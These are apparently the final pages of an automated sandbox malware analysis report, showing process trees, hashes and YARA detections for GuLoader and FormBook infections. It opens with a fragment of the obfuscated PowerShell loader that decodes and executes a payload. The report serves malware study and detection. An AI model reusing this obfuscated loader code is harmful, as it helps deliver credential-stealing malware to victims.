ttteuSanglStvneAfmi SeneB KaiiPeritFoldsLaceTMarkrUnexaUnacn UnesSrbof LedeMisercydi ') ;$Picotedt2=$Picotedt2+'\Dysc.nit' ;Impulsfun (Postula 'Pers$B
rangHomolUnbaoLifobseisanybylViri:DdelPMicri OpgcJudioPachtPerieForadLnfotLigh7 ska=Over(EkspTHammeLithsfrget Sol-LeukPTornaTinnt HythTrin O
nli$YellPanrai FolcSmeroOnomt BeneForsd Bilt res2Stil)Timi ') ;while (-not $Picotedt7) {Impulsfun (Postula ' KafIPandfPlea Stan(Indt$AnalPPrimiAcidcNonuo
FretFerreQuizdOmrytBram8Vral.FejdJUdnyoStolbHyklSRetntEscaaImmut ThoeHexa Sjle-knevetlinqulov Rebe$FrysGPyoriHarrgSafig BlieEnharMono0Cr
ud2Wien) Sli Badd{tillSDisktBifaa MairUndetServ-CaiqS ByglFabrenedeemcdop Vik Vide1Radi}DisaeCykllLutrsCuspePans{vikiSDekltReviaDkkerFlyttAcroLukkSdainlFindeDerae NatpBear Anet1Pref;RfeyI MermBaddp ResuOmikl VulsEftefStemu Bign Loq Loc$TranGUdvaiTunngMattg SomescabrSolf0Stil0Befr}Gast ');Impulsfun (Postula 'Denn$Lensg SkjlSmlkoRidebSwinaPauslKrak:caprPCemei IcccTermoArtitOmfaeImpad TratStre7Fejl=whit(HenrTAllaeCress
FemtShic-MarcPInteaHosetIndlhSvar Dolo$UnrePNarriErrhcSprooPalptMisteSaradOvertUnsp2Impr)Mine ') ;}Impulsfun (Postula 'Samb$Skrugbrysl Pri
oTrykbLeuca EnelBuff:FrauTAnlgiRetslFrakbBgeruFinsdStonsReflpSharrPhon salt=roeg ConG SpaeTrictBona-BrigCDaseoBeabnyarntPakseTromnnonatColo
Kard$UnimPDeteimesacTopvo UnrtPreceRegidStudtNonc2Real ');Impulsfun (Postula ' Imp$Forygforsl teaoSulpbTracaMusilTilh:hudaBUplaokanhn SlueD
issnKitlp GenrConf Brah=Forf Bort[LgegSSubcyHypes OphtSteieSandm Pyr. hyaCFejlo Peen AflvdegleDelfrPhoct Eks]Uagt:Muld:UnevFBlegrTempo SysmB
arnBNonda VicsSubse Lge6Solu4notcSKabatPhilrRetsiClarnNedsgDelg(Unre$VetoTSolaiLetalSjovb MoruGyngdDispsImpopBrakrEleu) Ove ');Impulsfun (Postula 'Came$QuangAntilPredoafteb bnkaRepel Trs:FrstGomstiArmegopdag AdveBrdrrMakl2Alte Inte=Tram Disc[ SmaS EntyArgus DuptUnvee SucmTank.Fer
rTLarmeCtenxUdlatRece.QuoiERadun SwecTjekoForkdDrubi ananAppegBrom]Spin:pipp:DemuA IncS KonC MesINarrISkyf.MoseGOphjeFlopt CarSBlg
etRerorMossiTatonLanggDecy(Sabb$InsiBAfkloSpoonOrgaeMuran ImppOverr Ste)Fort ');Impulsfun (Postula ' Unc$SighgLovgl allopilsbDollaPerslprep:
VognGPerciCybeg BiygSolbeacrirSvik3Kede= Sem$ TalGArloianlegForegStaaeClapr Dem2Henr.PoddsFostuAldrbGnatsOctatRealr BamiSalpnStangsicc( Trk2
Offi4Mont7 Hem9Tech0Akti5Pars,Skru1Hogr8rand1Flav8 For6yese) Cli ');Impulsfun $Gigger3;};;

Imagebase:0xbc0000

File size:

433'152 bytes

MD5 hash:

C32CA4ACFCC635EC1EA6ED8A34DF5FAC

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:.Net C# or VB.NET

Yara matches:

Has exited:

Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source:
00000010.00000002.2916991966.0000000008D50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000010.00000002.2917294819.0000000009634000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source:
00000010.00000002.2893469163.0000000005D51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
true

Analysis Process: conhost.exe

PID: 1488, Parent PID: 5912

GeneralTarget ID:

17

Start time:

09:42:30

Start date:

11/12/2023

Path:

C:\Windows\System32\conhost.exe

Wow64 process (32bit):false

Commandline:

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase:

0x7ff6d64d0000

File size:862'208 bytes

MD5 hash:

0D698AF330FD17BEE3BF90011D49251D

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Has exited:true

Analysis Process: cmd.exe
Copyright Joe Security LLC 2023

PID: 3920, Parent PID: 5912

Page 54 of 57

GeneralTarget ID:

18

Start time:

09:42:31

Start date:

11/12/2023

Path:

C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):true

Commandline:

C:\Windows\system32\cmd.exe" /c "echo 1 && exit

Imagebase:

0x790000

File size:

236'544 bytes

MD5 hash:

D0FCE3AFA6AA1D58CE9FA336CC2B675B

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Has exited:true

Analysis Process: wab.exe

PID: 356, Parent PID: 5912

GeneralTarget ID:

19

Start time:

09:42:49

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Wow64 process (32bit):false

Commandline:

C:\Program Files (x86)\windows mail\wab.exe

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Has exited:true

Analysis Process: wab.exe

PID: 6596, Parent PID: 5912

GeneralTarget ID:

20

Start time:

09:42:49

Start date:

11/12/2023

Path:

C:\Program Files (x86)\Windows Mail\wab.exe

Wow64 process (32bit):true

Commandline:

C:\Program Files (x86)\windows mail\wab.exe

Imagebase:0x1a0000

File size:

516'608 bytes

MD5 hash:

251E51E2FEDCE8BB82763D39D631EF89

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Yara matches:

Has exited:

Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000014.00000002.2946714702.0000000021F20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000014.00000002.2946714702.0000000021F20000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000014.00000002.2920900484.00000000033B4000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000014.00000002.2920802936.0000000003200000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000014.00000002.2920802936.0000000003200000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
true

Copyright Joe Security LLC 2023

Page 55 of 57

Analysis Process: VcdsjmiOSutUKwauEhOKSW.exe

PID: 6408, Parent PID: 6596

GeneralTarget ID:

21

Start time:

09:42:56

Start date:

11/12/2023

Path:

C:\Program Files (x86)\rhyDinZuqozhOeobpGJsijGTETCBEJjEdxMeixazBAuWmPjMTUBJIiDtAkDTxVvQuDNgaBtWvtxXCifQ\VcdsjmiOSutUKwauEhOKSW.exe

Wow64 process (32bit):true

Commandline:"C:\Program Files (x86)\rhyDinZuqozhOeobpGJsijGTETCBEJjEdxMeixazBAuWmPjMTUBJIiDtAkDTxVvQuDNgaBtWvtxXCifQ\VcdsjmiOSutUKwauEhOKSW.exe"Imagebase:0xda0000

File size:

140'800 bytes

MD5 hash:

32B8AD6ECA9094891E792631BAEA9717

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Yara matches:

Has exited:

Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000015.00000002.3303875462.0000000000AF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000015.00000002.3303875462.0000000000AF0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000015.00000002.3306456754.00000000032B0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000015.00000002.3306456754.00000000032B0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
false

Analysis Process: winver.exe

PID: 5024, Parent PID: 6408

GeneralTarget ID:

22

Start time:

09:42:58

Start date:

11/12/2023

Path:

C:\Windows\SysWOW64\winver.exe

Wow64 process (32bit):true

Commandline:

C:\Windows\SysWOW64\winver.exe

Imagebase:

0x500000

File size:

57'344 bytes

MD5 hash:

B5471B0FB5402FC318C82C994C6BF84D

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Yara matches:

Has exited:

Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000016.00000002.3302950787.0000000002780000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000016.00000002.3302950787.0000000002780000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000016.00000002.3305103440.00000000044F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000016.00000002.3305103440.00000000044F0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source:
00000016.00000002.3304896867.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000016.00000002.3304896867.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
false

Analysis Process: ﬁrefox.exe

PID: 3168, Parent PID: 5024

GeneralTarget ID:

23

Start time:

09:43:23

Start date:

11/12/2023

Path:

C:\Program Files\Mozilla Firefox\firefox.exe

Wow64 process (32bit):false

Commandline:

C:\Program Files\Mozilla Firefox\Firefox.exe

Copyright Joe Security LLC 2023

Page 56 of 57

Imagebase:

0x7ff79f9e0000

File size:

676'768 bytes

MD5 hash:

C86B1BE9ED6496FE0E0CBE73F81D8045

Has elevated privileges:false

Has administrator
privileges:

false

Programmed in:

C, C++ or other language

Has exited:true

Disassembly⊘ No disassembly

Copyright Joe Security LLC 2023

Page 57 of 57